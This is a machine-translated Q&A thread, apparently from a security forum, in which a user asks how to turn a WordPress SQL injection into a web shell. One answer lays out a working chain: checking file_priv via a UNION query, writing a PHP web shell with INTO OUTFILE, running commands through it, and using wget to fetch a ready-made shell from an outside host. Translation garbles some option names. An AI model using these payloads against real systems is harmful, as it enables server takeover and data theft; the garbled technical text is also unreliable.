web-dev-qa-db-ja.com

SQLIを使用したシェルのアップロード

ラボマシンの1つに SQLインジェクションの脆弱性Wordpressインストール が見つかりました。それを利用してシェルをアップロードしようとしています。

私は管理者ハッシュを取得できますが、JTRとHASHCATは運が悪いと時間がかかるので、かなり複雑なようです。

SQLmapからの基本的な出力は次のとおりです。

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

私は試した --os-Shellオプションですが、これらのエラーが発生したため、書き込みアクセス権がないようです:

[02:26:36] [警告] Webサーバーパスを自動的に取得できません

[02:26:36] [情報] '/ var/www'にLIMIT INTO OUTFILEテクニックを介してファイルステージャーをアップロードしようとしています

[02:26:37] [警告] '/ var/www'にファイルステージャーをアップロードできません

[02:26:37] [情報] UNIONテクニックを使用して '/ var/www'にファイルステージャーをアップロードしようとしています

[02:26:37] [警告]ファイル内のジャンク文字がUNIONクエリの残りとして期待されます

[02:26:38] [警告]ファイルが書き込まれていないようです。これは、DBMSプロセスのユーザーが宛先パスで書き込み権限を持っていない場合に発生する可能性があります

問題なく--sql-Shellを取得できます。ここで手順を試してみました( http://evilzone.org/tutorials/upload-Shell-with-sql-injection/ )シェルをアップロードしましたが、次のエラーが発生します

[02:00:16] [警告]カスタムSQLクエリの実行は、スタックされたクエリがサポートされている場合にのみ使用できます

今、私はターゲットマシンにシェルをアップロードする方法が必要です、何か考えはありますか?また、Wordpress管理者パスワードハッシュをオンラインでクラックできる場所はありますか?

5
Ahmed Taher

まず、sqlmapの失敗をデバッグする場合は、詳細度を上げる必要があります。適切な情報を収集しなかったため、この質問に実際に回答することはできません。

--os-Shellは、MySQLでinto outfileは、Webルートにファイルを書き込みます。これは、さまざまな理由で失敗する可能性があります。最も一般的な理由は、データベースとWebサーバー、および異なるマシンであることです。 UbuntuのデフォルトのAppArmorルールセットは、MySQLが/ var/www /に書き込むことを禁止します。また、into outfileには、決して付与してはならない(ただし、付与されることが多い)ファイル特権が必要です。 sqlmapのfile-io機能を使用して、リモートファイルシステムの読み取りと書き込みを試すことができます。

このアプリケーションのコンテキストでは、Wordpress MySQLデータベースの内容をダンプすると、管理者のパスワードハッシュが生成されます。このハッシュをクラックすると、Wordpress adminアカウントが生成されます。ほとんどの場合、Wordpress extensions ....またはPHP shells。

6
rook

はい、管理パネルやその他のコントロールパネルにログインしなくても、SQLステートメントを使用してシェルをウェブサーバーに書き込むことができます。

ただし、このためには特定の要件を満たす必要があります。

  1. 書き込み権限と書き込み可能なディレクトリ(シェルをアップロードする必要がある場所)が必要です
  2. ルートパス(つまり/var/www/website/
  3. マジッククオートを有効にする必要があります

書き込み権限を確認する

ここで問題は、書き込み権限があるかどうかを確認する方法ですか?簡単にできることは、file_privテーブルからmysql.userを読み取ることです。

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

現在のユーザーの後にYと表示されている場合は、ラッキーで書き込み権限があります。

シェルを受け取るファイルを作成します

MySQLステートメントを利用する時が来ました。選択した行をファイルに書き込むINTO OUTFILEを使用します。基本的な構文は次のとおりです。

select column_name from table_name into outfile "filepath/file.extension

このようなものは、ウェブサイトのディレクトリにShell.phpという名前のファイルを作成し、その中にPHPコードを書き込む必要があります。

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/Shell.php"

シェルにアクセスする

これで、http://website.com/Shell.php?cmd=whoamiにアクセスしてシェルにアクセスできます。 cmd=の後に任意のコマンドを実行できます。これで、curlまたは `wget(Linuxサーバーの場合)を使用して、既製のシェルコードをサーバーにアップロードできます。

`http://website.com/Shell.php?cmd=wget http://othersite.com/Shell.txt -O code.php`

そして、あなたはあなたがあなたのシェルにアクセスすることができます:

http://website.com/code.php

あなたがすべてを理解したことを願っています:)

7
Ammar Brohi